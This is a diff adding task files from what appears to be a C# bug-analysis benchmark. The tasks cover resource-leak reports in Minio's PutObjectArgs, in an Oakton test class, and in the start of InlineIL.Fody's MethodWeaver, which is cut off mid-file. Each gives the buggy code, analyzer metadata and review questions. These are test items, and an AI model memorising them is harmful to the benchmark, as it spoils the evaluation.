+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-storage-class", this.StorageClass);
+            }
+            if (this.ObjectLockSet)
+            {
+                if (!this.RetentionUntilDate.Equals(default(DateTime)))
+                {
+                    requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-retain-until-date", utils.To8601String(this.RetentionUntilDate));
+                }
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-mode",
+                    (this.ObjectLockRetentionMode == RetentionMode.GOVERNANCE) ? "GOVERNANCE" : "COMPLIANCE");
+            }
+
+            return requestMessageBuilder;
+        }
+    }
+
+    internal class CompleteMultipartUploadArgs : ObjectWriteArgs<CompleteMultipartUploadArgs>
+    {
+        internal string UploadId { get; set; }
+        internal Dictionary<int, string> ETags { get; set; }
+
+        internal CompleteMultipartUploadArgs()
+        {
+            this.RequestMethod = HttpMethod.Post;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (string.IsNullOrWhiteSpace(this.UploadId))
+            {
+                throw new ArgumentNullException(nameof(this.UploadId) + " cannot be empty.");
+            }
+            if (this.ETags == null || this.ETags.Count <= 0)
+            {
+                throw new InvalidOperationException(nameof(this.ETags) + " dictionary cannot be empty.");
+            }
+        }
+
+        internal CompleteMultipartUploadArgs(MultipartCopyUploadArgs args)
+        {
+            // destBucketName, destObjectName, metadata, sseHeaders
+            this.RequestMethod = HttpMethod.Post;
+            this.BucketName = args.BucketName;
+            this.ObjectName = args.ObjectName ?? args.SourceObject.ObjectName;
+            this.Headers = new Dictionary<string, string>();
+            this.SSE = args.SSE;
+            this.SSE?.Marshal(args.Headers);
+            if (args.Headers != null && args.Headers.Count > 0)
+            {
+                this.Headers = this.Headers.Concat(args.Headers).GroupBy(item => item.Key).ToDictionary(item => item.Key, item => item.First().Value);
+            }
+        }
+
+        internal CompleteMultipartUploadArgs WithUploadId(string uploadId)
+        {
+            this.UploadId = uploadId;
+            return this;
+        }
+
+        internal CompleteMultipartUploadArgs WithETags(Dictionary<int, string> etags)
+        {
+            if (etags != null && etags.Count > 0)
+            {
+                this.ETags = new Dictionary<int, string>(etags);
+            }
+            return this;
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+
+            requestMessageBuilder.AddQueryParameter("uploadId", $"{this.UploadId}");
+            List<XElement> parts = new List<XElement>();
+
+            for (int i = 1; i <= this.ETags.Count; i++)
+            {
+                parts.Add(new XElement("Part",
+                                       new XElement("PartNumber", i),
+                                       new XElement("ETag", this.ETags[i])));
+            }
+            var completeMultipartUploadXml = new XElement("CompleteMultipartUpload", parts);
+            var bodyString = completeMultipartUploadXml.ToString();
+            var body = Encoding.UTF8.GetBytes(bodyString);
+            var bodyInBytes = Encoding.UTF8.GetBytes(bodyString);
+            requestMessageBuilder.BodyParameters.Add("content-type", "application/xml");
+            requestMessageBuilder.SetBody(bodyInBytes);
+            // var bodyInCharArr = Encoding.UTF8.GetString(requestMessageBuilder.Content).ToCharArray();
+
+            return requestMessageBuilder;
+        }
+    }
+
+    internal class PutObjectPartArgs : PutObjectArgs
+    {
+        public PutObjectPartArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (string.IsNullOrWhiteSpace(this.UploadId))
+            {
+                throw new ArgumentNullException(nameof(UploadId) + " not assigned for PutObjectPart operation.");
+            }
+        }
+        public new PutObjectPartArgs WithBucket(string bkt)
+        {
+            return (PutObjectPartArgs)base.WithBucket(bkt);
+        }
+
+        public new PutObjectPartArgs WithObject(string obj)
+        {
+            return (PutObjectPartArgs)base.WithObject(obj);
+        }
+
+        public new PutObjectPartArgs WithObjectSize(long size)
+        {
+            return (PutObjectPartArgs)base.WithObjectSize(size);
+        }
+
+        public new PutObjectPartArgs WithHeaders(Dictionary<string, string> hdr)
+        {
+            return (PutObjectPartArgs)base.WithHeaders(hdr);
+        }
+
+        public PutObjectPartArgs WithRequestBody(object data)
+        {
+            return (PutObjectPartArgs)base.WithRequestBody(utils.ObjectToByteArray(data));
+        }
+        public new PutObjectPartArgs WithStreamData(Stream data)
+        {
+            return (PutObjectPartArgs)base.WithStreamData(data);
+        }
+        public new PutObjectPartArgs WithContentType(string type)
+        {
+            return (PutObjectPartArgs)base.WithContentType(type);
+        }
+
+        public new PutObjectPartArgs WithUploadId(string id)
+        {
+            return (PutObjectPartArgs)base.WithUploadId(id);
+        }
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            return requestMessageBuilder;
+        }
+    }
+
+    public class PutObjectArgs : ObjectWriteArgs<PutObjectArgs>
+    {
+        internal string UploadId { get; private set; }
+        internal int PartNumber { get; set; }
+        internal string FileName { get; set; }
+        internal long ObjectSize { get; set; }
+        internal Stream ObjectStreamData { get; set; }
+
+        public PutObjectArgs()
+        {
+            this.RequestMethod = HttpMethod.Put;
+            this.RequestBody = null;
+            this.ObjectStreamData = null;
+            this.PartNumber = 0;
+            this.ContentType = "application/octet-stream";
+        }
+
+        internal PutObjectArgs(PutObjectPartArgs args)
+        {
+            this.RequestMethod = HttpMethod.Put;
+            this.BucketName = args.BucketName;
+            this.ContentType = args.ContentType ?? "application/octet-stream";
+            this.FileName = args.FileName;
+            this.Headers = args.Headers;
+            this.ObjectName = args.ObjectName;
+            this.ObjectSize = args.ObjectSize;
+            this.PartNumber = args.PartNumber;
+            this.SSE = args.SSE;
+            this.UploadId = args.UploadId;
+        }
+
+        internal override void Validate()
+        {
+            base.Validate();
+            if (this.RequestBody == null && this.ObjectStreamData == null && string.IsNullOrWhiteSpace(this.FileName))
+            {
+                throw new ArgumentNullException("Invalid input. " + nameof(RequestBody) + ", " + nameof(FileName) + " and " + nameof(ObjectStreamData) + " cannot be empty.");
+            }
+            if (this.PartNumber < 0)
+            {
+                throw new ArgumentOutOfRangeException(nameof(PartNumber), this.PartNumber, "Invalid Part number value. Cannot be less than 0");
+            }
+            // Check if only one of filename or stream are initialized
+            if (!string.IsNullOrWhiteSpace(this.FileName) && this.ObjectStreamData != null)
+            {
+                throw new ArgumentException("Only one of " + nameof(FileName) + " or " + nameof(ObjectStreamData) + " should be set.");
+            }
+            // Check atleast one of filename or stream are initialized
+            if (string.IsNullOrWhiteSpace(this.FileName) && this.ObjectStreamData == null)
+            {
+                throw new ArgumentException("One of " + nameof(FileName) + " or " + nameof(ObjectStreamData) + " must be set.");
+            }
+            if (!string.IsNullOrWhiteSpace(this.FileName))
+            {
+                utils.ValidateFile(this.FileName);
+            }
+            this.Populate();
+        }
+
+        private void Populate()
+        {
+            if (!string.IsNullOrWhiteSpace(this.FileName))
+            {
+                FileInfo fileInfo = new FileInfo(this.FileName);
+                this.ObjectSize = fileInfo.Length;
+                this.ObjectStreamData = new FileStream(this.FileName, FileMode.Open, FileAccess.Read);
+            }
+        }
+
+        internal override HttpRequestMessageBuilder BuildRequest(HttpRequestMessageBuilder requestMessageBuilder)
+        {
+            requestMessageBuilder = base.BuildRequest(requestMessageBuilder);
+            if (string.IsNullOrWhiteSpace(this.ContentType))
+            {
+                this.ContentType = "application/octet-stream";
+            }
+            if (!this.Headers.ContainsKey("Content-Type"))
+            {
+                this.Headers["Content-Type"] = this.ContentType;
+            }
+
+            requestMessageBuilder.AddOrUpdateHeaderParameter("Content-Type", this.Headers["Content-Type"]);
+            if (!string.IsNullOrWhiteSpace(this.UploadId) && this.PartNumber > 0)
+            {
+                requestMessageBuilder.AddQueryParameter("uploadId", $"{this.UploadId}");
+                requestMessageBuilder.AddQueryParameter("partNumber", $"{this.PartNumber}");
+            }
+            if (this.ObjectTags != null && this.ObjectTags.TaggingSet != null
+                    && this.ObjectTags.TaggingSet.Tag.Count > 0)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-tagging", this.ObjectTags.GetTagString());
+            }
+            if (this.Retention != null)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-retain-until-date", this.Retention.RetainUntilDate);
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-mode", this.Retention.Mode.ToString());
+                requestMessageBuilder.AddOrUpdateHeaderParameter("Content-Md5",
+                                utils.getMD5SumStr(this.RequestBody));
+            }
+            if (this.LegalHoldEnabled != null)
+            {
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-object-lock-legal-hold",
+                    ((this.LegalHoldEnabled == true) ? "ON" : "OFF"));
+            }
+            if (this.RequestBody != null)
+            {
+                var sha256 = SHA256.Create();
+                byte[] hash = sha256.ComputeHash(this.RequestBody);
+                string hex = BitConverter.ToString(hash).Replace("-", string.Empty).ToLower();
+                requestMessageBuilder.AddOrUpdateHeaderParameter("x-amz-content-sha256", hex);
+                requestMessageBuilder.SetBody(this.RequestBody);
+            }
+
+            return requestMessageBuilder;
+        }
+
+        public new PutObjectArgs WithHeaders(Dictionary<string, string> metaData)
+        {
+            var sseHeaders = new Dictionary<string, string>();
+            this.Headers = this.Headers ?? new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase);
+            if (metaData != null)
+            {
+                foreach (KeyValuePair<string, string> p in metaData)
+                {
+                    var key = p.Key;
+                    if (!OperationsUtil.IsSupportedHeader(p.Key) &&
+                        !p.Key.StartsWith("x-amz-meta-", StringComparison.OrdinalIgnoreCase) &&
+                        !OperationsUtil.IsSSEHeader(p.Key))
+                    {
+                        key = "x-amz-meta-" + key.ToLowerInvariant();
+                        this.Headers.Remove(p.Key);
+                    }
+                    this.Headers[key] = p.Value;
+                    if (key == "Content-Type")
+                        this.ContentType = p.Value;
+                }
+
+            }
+            if (string.IsNullOrWhiteSpace(this.ContentType))
+            {
+                this.ContentType = "application/octet-stream";
+            }
+            if (!this.Headers.ContainsKey("Content-Type"))
+            {
+                this.Headers["Content-Type"] = this.ContentType;
+            }
+            return this;
+        }
+
+        internal PutObjectArgs WithUploadId(string id = null)
+        {
+            this.UploadId = id;
+            return this;
+        }
+
+        internal PutObjectArgs WithPartNumber(int num)
+        {
+            this.PartNumber = num;
+            return this;
+        }
+
+        public PutObjectArgs WithFileName(string file)
+        {
+            this.FileName = file;
+            return this;
+        }
+
+        public PutObjectArgs WithObjectSize(long size)
+        {
+            this.ObjectSize = size;
+            return this;
+        }
+
+        public PutObjectArgs WithStreamData(Stream data)
+        {
+            this.ObjectStreamData = data;
+            return this;
+        }
+
+        ~PutObjectArgs()
+        {
+            if (!string.IsNullOrWhiteSpace(this.FileName) && this.ObjectStreamData != null)
+            {
+                ((FileStream)this.ObjectStreamData).Close();
+            }
+            else if (this.ObjectStreamData != null)
+            {
+                this.ObjectStreamData.Close();
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.IO.FileStream::.ctor() at Line 1943) of type System.IO.FileStream in method "Void PutObjectArgs.Populate()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void PutObjectArgs.Populate()
+
+### File:
+Minio/DataModel/ObjectOperationsArgs.cs
+
+### Key:
+ObjectOperationsArgs.cs|Populate|DOTNET_RESOURCE_LEAK
+
+### Hash:
+2369f48a3d6d4725c22cae4bd59bc74d
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0795/instruction.md b/inferredbugs-0795/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c910890dc0fc38ef28c3eae510c51cdf06765d68
--- /dev/null
+++ b/inferredbugs-0795/instruction.md
@@ -0,0 +1,156 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** oakton
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Hosting.Server;
+using Microsoft.AspNetCore.Http.Features;
+using Microsoft.Extensions.Configuration;
+using Microsoft.Extensions.DependencyInjection;
+using Shouldly;
+using Xunit;
+
+namespace Oakton.AspNetCore.Testing
+{
+    public class AspNetCoreInputTests
+    {
+        [Fact]
+        public void can_bootstrap_a_host()
+        {
+            var input = new NetCoreInput
+            {
+                HostBuilder = new WebHostBuilder()
+                    .UseServer(new NulloServer())
+                    .UseStartup<EmptyStartup>()
+            };
+
+            using (var host = input.BuildHost())
+            {
+                host.ShouldNotBeNull();
+            }
+        }
+
+        [Fact]
+        public void modify_the_environment()
+        {
+            var input = new NetCoreInput
+            {
+                HostBuilder = new WebHostBuilder()
+                    .UseServer(new NulloServer())
+                    .UseStartup<EmptyStartup>(),
+                EnvironmentFlag = "Weird"
+            };
+            
+            using (var host = input.BuildHost())
+            {
+                host.Services.GetRequiredService<IHostingEnvironment>()
+                    .EnvironmentName.ShouldBe("Weird");
+            }
+        }
+
+        [Fact]
+        public void modify_configuration_items()
+        {
+            var input = new NetCoreInput
+            {
+                HostBuilder = new WebHostBuilder()
+                    .UseServer(new NulloServer())
+                    .UseStartup<EmptyStartup>(),
+                ConfigFlag = new Dictionary<string, string>{{"direction", "south"}, {"color", "orange"}}
+            };
+            
+            using (var host = input.BuildHost())
+            {
+                var config = host.Services.GetRequiredService<IConfiguration>();
+                
+                config["direction"].ShouldBe("south");
+                config["color"].ShouldBe("orange");
+            }
+        }
+    }
+
+    public class EmptyStartup
+    {
+        public void Configure()
+        {
+            
+        }
+    }
+
+    public class NulloServer : IServer
+    {
+        public void Dispose()
+        {
+            
+        }
+
+        public Task StartAsync<TContext>(IHttpApplication<TContext> application, CancellationToken cancellationToken)
+        {
+            return Task.CompletedTask;
+        }
+
+        public Task StopAsync(CancellationToken cancellationToken)
+        {
+            return Task.CompletedTask;
+        }
+
+        public IFeatureCollection Features { get; } = new FeatureCollection();
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Oakton.AspNetCore.Testing.NulloServer::.ctor() at Line 53) of type Oakton.AspNetCore.Testing.NulloServer in method "Void AspNetCoreInputTests.modify_configuration_items()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void AspNetCoreInputTests.modify_configuration_items()
+
+### File:
+src/Oakton.AspNetCore.Testing/AspNetCoreInputTests.cs
+
+### Key:
+AspNetCoreInputTests.cs|modify_configuration_items|DOTNET_RESOURCE_LEAK
+
+### Hash:
+30ff62d9d5524513d21def5df4c2e10e
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0841/instruction.md b/inferredbugs-0841/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ec99f4322c096ff85cc017c6b563fdbbd1129b44
--- /dev/null
+++ b/inferredbugs-0841/instruction.md
@@ -0,0 +1,1012 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** InlineIL.Fody
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using Fody;
+using JetBrains.Annotations;
+using Mono.Cecil;
+using Mono.Cecil.Cil;
+using Mono.Cecil.Rocks;
+
+namespace InlineIL.Fody
+{
+    internal class MethodWeaver
+    {
+        private readonly ModuleDefinition _module;
+        private readonly MethodDefinition _method;
+        private readonly WeaverILProcessor _il;
+        private readonly List<SequencePoint> _sequencePoints;
+        private readonly Dictionary<string, LabelInfo> _labels = new Dictionary<string, LabelInfo>();
+
+
+
+        private IEnumerable<Instruction> Instructions => _method.Body.Instructions;
+
+        public MethodWeaver(ModuleDefinition module, MethodDefinition method)
+        {
+            _module = module;
+            _method = method;
+            _il = new WeaverILProcessor(_method);
+            _sequencePoints = _method.DebugInformation.SequencePoints.ToList();
+        }
+
+        public static bool NeedsProcessing(MethodDefinition method)
+            => GetLibReferencingInstruction(method) != null;
+
+        private static Instruction GetLibReferencingInstruction(MethodDefinition method)
+        {
+            if (!method.HasBody)
+                return null;
+
+            return method.Body
+                         .Instructions
+                         .FirstOrDefault(
+                             i => i.OpCode.FlowControl == FlowControl.Call
+                                  && i.Operand is MethodReference opMethod
+                                  && KnownNames.Full.AllTypes.Contains(opMethod.DeclaringType.FullName)
+                                  ||
+                                  i.Operand is TypeReference typeRef
+                                  && KnownNames.Full.AllTypes.Contains(typeRef.FullName)
+                         );
+        }
+
+        public void Process()
+        {
+            try
+            {
+                ProcessImpl();
+            }
+            catch (InstructionWeavingException ex)
+            {
+                var message = ex.Message.Contains(_method.FullName)
+                    ? ex.Message
+                    : ex.Instruction != null
+                        ? $"Error in {_method.FullName} at instruction {ex.Instruction}: {ex.Message}"
+                        : $"Error in {_method.FullName}: {ex.Message}";
+
+                throw new SequencePointWeavingException(_sequencePoints.LastOrDefault(sp => sp.Offset <= ex.Instruction?.Offset), message);
+            }
+            catch (WeavingException ex)
+            {
+                throw new WeavingException($"Error in {_method.FullName}: {ex.Message}");
+            }
+            catch (Exception ex)
+            {
+                throw new InvalidOperationException($"Unexpected error occured while processing method {_method.FullName}: {ex.Message}", ex);
+            }
+        }
+
+        private void ProcessImpl()
+        {
+            _method.Body.SimplifyMacros();
+
+            ValidateBeforeProcessing();
+            ProcessMethodCalls();
+            ProcessLabels();
+            ValidateAfterProcessing();
+
+            _method.Body.OptimizeMacros();
+        }
+
+        private void ValidateBeforeProcessing()
+        {
+            foreach (var instruction in Instructions)
+            {
+                if (instruction.OpCode == OpCodes.Call
+                    && instruction.Operand is MethodReference calledMethod
+                    && calledMethod.DeclaringType.FullName == KnownNames.Full.IlType)
+                {
+                    try
+                    {
+                        switch (calledMethod.Name)
+                        {
+                            case KnownNames.Short.PushMethod:
+                                ValidatePushMethod(instruction);
+                                break;
+                        }
+                    }
+                    catch (InstructionWeavingException)
+                    {
+                        throw;
+                    }
+                    catch (WeavingException ex)
+                    {
+                        throw new InstructionWeavingException(instruction, $"Error in {_method.FullName} at instruction {instruction}: {ex.Message}");
+                    }
+                    catch (Exception ex)
+                    {
+                        throw new InstructionWeavingException(instruction, $"Unexpected error occured while processing method {_method.FullName} at instruction {instruction}: {ex}");
+                    }
+                }
+            }
+        }
+
+        private void ProcessMethodCalls()
+        {
+            var instruction = Instructions.FirstOrDefault();
+
+            while (instruction != null)
+            {
+                var nextInstruction = instruction.Next;
+
+                if (instruction.OpCode == OpCodes.Call
+                    && instruction.Operand is MethodReference calledMethod
+                    && calledMethod.DeclaringType.FullName == KnownNames.Full.IlType)
+                {
+                    try
+                    {
+                        switch (calledMethod.Name)
+                        {
+                            case KnownNames.Short.EmitMethod:
+                                ProcessEmitMethod(instruction);
+                                break;
+
+                            case KnownNames.Short.PushMethod:
+                                ProcessPushMethod(instruction);
+                                break;
+
+                            case KnownNames.Short.UnreachableMethod:
+                                ProcessUnreachableMethod(instruction, ref nextInstruction);
+                                break;
+
+                            case KnownNames.Short.ReturnMethod:
+                                ProcessReturnMethod(instruction);
+                                break;
+
+                            case KnownNames.Short.MarkLabelMethod:
+                                ProcessMarkLabelMethod(instruction);
+                                break;
+
+                            case KnownNames.Short.DeclareLocalsMethod:
+                                ProcessDeclareLocalsMethod(instruction);
+                                break;
+
+                            default:
+                                throw new InstructionWeavingException(instruction, $"Unsupported method: {calledMethod.FullName}");
+                        }
+                    }
+                    catch (InstructionWeavingException)
+                    {
+                        throw;
+                    }
+                    catch (WeavingException ex)
+                    {
+                        throw new InstructionWeavingException(instruction, $"Error in {_method.FullName} at instruction {instruction}: {ex.Message}");
+                    }
+                    catch (Exception ex)
+                    {
+                        throw new InstructionWeavingException(instruction, $"Unexpected error occured while processing method {_method.FullName} at instruction {instruction}: {ex}");
+                    }
+                }
+
+                instruction = nextInstruction;
+            }
+        }
+
+        private void ProcessLabels()
+        {
+            foreach (var (name, info) in _labels)
+            {
+                if (!info.IsDefined)
+                    throw new InstructionWeavingException(info.References.FirstOrDefault(), $"Undefined label: '{name}'");
+
+                _il.Remove(info.PlaceholderTarget);
+            }
+
+            _labels.Clear();
+        }
+
+        private void ValidateAfterProcessing()
+        {
+            var libReferencingInstruction = GetLibReferencingInstruction(_method);
+            if (libReferencingInstruction != null)
+                throw new InstructionWeavingException(libReferencingInstruction, "Unconsumed reference to InlineIL");
+
+            var invalidRefs = _il.GetAllReferencedInstructions().Except(Instructions).ToList();
+            if (invalidRefs.Any())
+                throw new WeavingException($"Found invalid references to instructions:{Environment.NewLine}{string.Join(Environment.NewLine, invalidRefs)}");
+        }
+
+        private void ProcessEmitMethod(Instruction emitCallInstruction)
+        {
+            var emittedInstruction = CreateInstructionToEmit();
+            _il.Replace(emitCallInstruction, emittedInstruction);
+
+            Instruction CreateInstructionToEmit()
+            {
+                var method = (MethodReference)emitCallInstruction.Operand;
+                var methodParams = method.Parameters;
+
+                var args = emitCallInstruction.GetArgumentPushInstructions();
+                var opCode = ConsumeArgOpCode(args[0]);
+
+                if (methodParams.Count == 1)
+                    return _il.Create(opCode);
+
+                var operandType = methodParams[1].ParameterType;
+                if (operandType.IsPrimitive || operandType.FullName == _module.TypeSystem.String.FullName)
+                {
+                    var operandValue = ConsumeArgConst(args[1]);
+                    return _il.CreateConst(opCode, operandValue);
+                }
+
+                switch (operandType.FullName)
+                {
+                    case KnownNames.Full.TypeRefType:
+                    {
+                        var typeRef = ConsumeArgTypeRef(args[1]);
+                        return _il.Create(opCode, typeRef);
+                    }
+
+                    case KnownNames.Full.MethodRefType:
+                    {
+                        var methodRef = ConsumeArgMethodRef(args[1]);
+                        return _il.Create(opCode, methodRef);
+                    }
+
+                    case KnownNames.Full.FieldRefType:
+                    {
+                        var fieldRef = ConsumeArgFieldRef(args[1]);
+                        return _il.Create(opCode, fieldRef);
+                    }
+
+                    case KnownNames.Full.LabelRefType:
+                    {
+                        var labelInfo = ConsumeArgLabelRef(args[1]);
+                        var resultInstruction = _il.Create(opCode, labelInfo.PlaceholderTarget);
+                        labelInfo.References.Add(resultInstruction);
+                        return resultInstruction;
+                    }
+
+                    case KnownNames.Full.LabelRefType + "[]":
+                    {
+                        var labelInfos = ConsumeArgArray(args[1], ConsumeArgLabelRef).ToList();
+                        var resultInstruction = _il.Create(opCode, labelInfos.Select(i => i.PlaceholderTarget).ToArray());
+
+                        foreach (var info in labelInfos)
+                            info.References.Add(resultInstruction);
+
+                        return resultInstruction;
+                    }
+
+                    case KnownNames.Full.LocalRefType:
+                    {
+                        var variableDef = ConsumeArgLocalRef(args[1]);
+                        return _il.Create(opCode, variableDef);
+                    }
+
+                    case KnownNames.Full.StandAloneMethodSigType:
+                    {
+                        var callSite = ConsumeArgCallSite(args[1]);
+                        return _il.Create(opCode, callSite);
+                    }
+
+                    default:
+                        throw new InvalidOperationException($"Unsupported IL.Emit overload: {method.FullName}");
+                }
+            }
+        }
+
+        private void ValidatePushMethod(Instruction instruction)
+        {
+            if (_method.Body.ExceptionHandlers.Any(h => h.HandlerType == ExceptionHandlerType.Catch && h.HandlerStart == instruction
+                                                        || h.HandlerType == ExceptionHandlerType.Filter && (h.FilterStart == instruction || h.HandlerStart == instruction)))
+                return;
+
+            var args = instruction.GetArgumentPushInstructions();
+            var prevInstruction = instruction.PrevSkipNops();
+
+            if (args[0] != prevInstruction)
+                throw new InstructionWeavingException(instruction, "IL.Push cannot be used in this context, as the instruction which supplies its argument does not immediately precede the call");
+        }
+
+        private void ProcessPushMethod(Instruction instruction)
+        {
+            _il.Remove(instruction);
+        }
+
+        private void ProcessUnreachableMethod(Instruction instruction, ref Instruction nextInstruction)
+        {
+            var throwInstruction = instruction.NextSkipNops();
+            if (throwInstruction.OpCode != OpCodes.Throw)
+                throw new InstructionWeavingException(instruction, "The result of the IL.Unreachable method should be immediately thrown: throw IL.Unreachable();");
+
+            nextInstruction = throwInstruction.Next;
+
+            _il.Remove(instruction);
+            _il.RemoveNopsAround(throwInstruction);
+            _il.Remove(throwInstruction);
+        }
+
+        private void ProcessReturnMethod(Instruction instruction)
+        {
+            ValidateReturnMethod();
+
+            _il.Remove(instruction);
+
+            void ValidateReturnMethod()
+            {
+                var nextInstruction = instruction.NextSkipNops();
+
+                switch (nextInstruction.OpCode.Code)
+                {
+                    case Code.Ret:
+                        return;
+
+                    case Code.Stloc:
+                    {
+                        var localIndex = ((VariableReference)nextInstruction.Operand).Index;
+                        var branchInstruction = nextInstruction.NextSkipNops();
+
+                        switch (branchInstruction?.OpCode.Code)
+                        {
+                            case Code.Br: // Debug builds
+                            case Code.Leave: // try/catch blocks
+                            {
+                                if (branchInstruction.Operand is Instruction branchTarget)
+                                {
+                                    branchTarget = branchTarget.SkipNops();
+
+                                    if (branchTarget.OpCode == OpCodes.Ldloc && ((VariableReference)branchTarget.Operand).Index == localIndex)
+                                        return;
+                                }
+
+                                break;
+                            }
+                        }
+
+                        break;
+                    }
+
+                    default:
+                        throw new InstructionWeavingException(instruction, "The result of the IL.Return method should be immediately returned: return IL.Return<T>();");
+                }
+            }
+        }
+
+        private void ProcessMarkLabelMethod(Instruction instruction)
+        {
+            var labelName = ConsumeArgString(instruction.GetArgumentPushInstructions().Single());
+            var labelInfo = _labels.GetOrAddNew(labelName);
+
+            if (labelInfo.IsDefined)
+                throw new InstructionWeavingException(instruction, $"Label '{labelName}' is already defined");
+
+            _il.Replace(instruction, labelInfo.PlaceholderTarget);
+        }
+
+        private void ProcessDeclareLocalsMethod(Instruction instruction)
+        {
+            var method = (MethodReference)instruction.Operand;
+
+            switch (method.FullName)
+            {
+                case "System.Void InlineIL.IL::DeclareLocals(InlineIL.LocalVar[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    _il.DeclareLocals(ConsumeArgArray(args[0], ConsumeArgLocalVar));
+                    _il.Remove(instruction);
+                    return;
+                }
+
+                case "System.Void InlineIL.IL::DeclareLocals(System.Boolean,InlineIL.LocalVar[])":
+                {
+                    var args = instruction.GetArgumentPushInstructions();
+                    _method.Body.InitLocals = ConsumeArgBool(args[0]);
+                    _il.DeclareLocals(ConsumeArgArray(args[1], ConsumeArgLocalVar));
+                    _il.Remove(instruction);
+                    return;
+                }
+
+                default:
+                    throw UnexpectedInstruction(instruction, "a InlineIL.DeclareLocals method call");
+            }
+        }
+
+        private OpCode ConsumeArgOpCode(Instruction instruction)
+        {
+            _il.Remove(instruction);
+            return OpCodeMap.FromLdsfld(instruction);
+        }
+
+        private string ConsumeArgString(Instruction instruction)
+        {
+            if (instruction.OpCode != OpCodes.Ldstr)
+                throw UnexpectedInstruction(instruction, OpCodes.Ldstr);
+
+            _il.Remove(instruction);
+            return (string)instruction.Operand;
+        }
+
+        private int ConsumeArgInt32(Instruction instruction)
+        {
+            var value = ConsumeArgConst(instruction);
+            if (value is int intValue)
+                return intValue;
+
+            throw UnexpectedInstruction(instruction, OpCodes.Ldc_I4);
+        }
+
+        private bool ConsumeArgBool(Instruction instruction)
+            => ConsumeArgInt32(instruction) != 0;
+
+        private object ConsumeArgConst(Instruction instruction)
+        {
+            switch (instruction.OpCode.OperandType)
+            {
+                case OperandType.InlineI:
+                case OperandType.InlineI8:
+                case OperandType.InlineR:
+                case OperandType.ShortInlineI:
+                case OperandType.ShortInlineR:
+                case OperandType.InlineString:
+                    _il.Remove(instruction);
+                    return instruction.Operand;
+            }
+
+            switch (instruction.OpCode.Code)
+            {
+                case Code.Conv_I1:
+                case Code.Conv_I2:
+                case Code.Conv_I4:
+                case Code.Conv_I8:
+                case Code.Conv_U1:
+                case Code.Conv_U2:
+                case Code.Conv_U4:
+                case Code.Conv_U8:
+                case Code.Conv_R4:
+                case Code.Conv_R8:
+                    var value = ConsumeArgConst(instruction.PrevSkipNops());
+                    _il.Remove(instruction);
+                    return value;
+            }
+
+            throw UnexpectedInstruction(instruction, "a constant value");
+        }
+
+        private TypeReference ConsumeArgTypeRef(Instruction instruction)
+        {
+            if (instruction.OpCode.FlowControl != FlowControl.Call || !(instruction.Operand is MethodReference method))
+                throw UnexpectedInstruction(instruction, "a method call");
+
+            switch (method.FullName)
+            {
+                case "System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)":
+                {
+                    var ldToken = instruction.GetArgumentPushInstructions().Single();
+                    if (ldToken.OpCode != OpCodes.Ldtoken)
+                        throw UnexpectedInstruction(ldToken, OpCodes.Ldtoken);
+
+                    _il.Remove(ldToken);
+                    _il.Remove(instruction);
+                    return (TypeReference)ldToken.Operand;
+                }
+
